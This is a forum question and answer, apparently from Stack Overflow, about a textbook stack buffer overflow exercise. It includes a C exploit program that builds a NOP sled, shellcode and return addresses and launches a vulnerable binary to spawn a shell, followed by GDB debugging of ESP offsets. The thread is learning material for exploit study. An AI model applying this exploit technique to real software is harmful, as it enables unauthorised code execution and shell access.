1
votes

I'm following the buffer overflow example in Grey Hat Hacking and have successfully executed shellcode and opened a shell using the exploit program below, however I couldn't run it without first guessing the offset to the buffer, because of the difference in initial ESP values.

This is the exploit program (some lines removed) for any local, vulnerable buffer:

unsigned long get_sp(void){
    __asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
    int i, offset = 0;
    unsigned int esp, ret, *addr_ptr;
    char *buffer, *ptr;
    int size = 500;
    esp = get_sp();
    if(argc > 1) size = atoi(argv[1]);
    if(argc > 2) offset = atoi(argv[2]);
    if(argc > 3) esp = strtoul(argv[3],NULL,0);
    ret = esp - offset;
    buffer = (char *)malloc(size);
    ptr = buffer;
    addr_ptr = (unsigned int *) ptr;
    for(i=0; i < size; i+=4){
        *(addr_ptr++) = ret;
    }
    for(i=0; i < size/2; i++){
        buffer[i] = '\x90';
    }
    ptr = buffer + size/2;
    for(i=0; i < strlen(shellcode); i++){
        *(ptr++) = shellcode[i];
    }
    buffer[size-1]=0;
    execl("./meet", "meet", "Mr.",buffer,0);
    free(buffer);
    return 0;
}

This exploit relies on the initial ESP of the exploiting program being the same as (or not far off) the ESP of the vulnerable application. However, in my tests I have been unable to replicate this, and the ESP of my exploit is always too far off from the vulnerable applications ESP to allow for reliable return address calculation, even when using an NOP sled. I suppose a workaround to this would be to calculate not only the buffer size and the offset from the vulnerable applications ESP to the buffer, but also the offset between the exploit initial ESP and the vulnerable program initial ESP, but I'm hoping I've just made a mistake instead.

The initial value of the ESP in my exploit at the very start of main() is 0xffffdbc0. However, the ESP at the very start of main() in my buffer program is 0xffffdba8. I used breakpoints in GDB on the very first line of main() in both programs to find the ESP rather than an inline assembly function to avoid pushing anything extra on the stack.

I also supplied both with the same command line arguments (0,0) to narrow down the possible causes. Everything was compilied on x64 Linux, ASLR disabled, no stack protector and execstack disabled in 32-bit.

What else could affect the initial ESP value?

(This question is possibly related, except I seem to be having the opposite problem.)

EDIT: It's occured to me that the names of the programs are different lengths, which I imagine will affect the value of the ESP as the name of the program is passed to the main() function through argv[]. Time to check this in GDB...

1

1 Answers

1
votes

I found the answer!

My breakpoint was placed on line 1:

1 int main(int argc,char *argv[]) {
2     unsigned int sp = get_sp();
3     int size = atoi(argv[1]); 

My reasoning was that if I placed a breakpoint here both in my exploit and in my buffer program, I would be able to get the ESP before anything was put on the stack and work out the differences between them. But I didn't expect GDB to allocate memory for a function call.

Let's look at the assembly:

(gdb) disas main
Dump of assembler code for function main:
   0x08048582 <+0>: push   %ebp
   0x08048583 <+1>: mov    %esp,%ebp
   0x08048585 <+3>: push   %ebx
   0x08048586 <+4>: sub    $0x1c,%esp
=> 0x08048589 <+7>: call   0x804857b <get_sp>

Unlike in my buffer program, main() here starts with a function call. The breakpoint is before that, and the function doesn't get called, however the space is allocated on the stack, which in my case resulted in a 32 bit difference between my ESPs once I had eliminated all other factors.

So it seems the ESP can in fact be reliably calculated, provided local variables and command line arguments are known.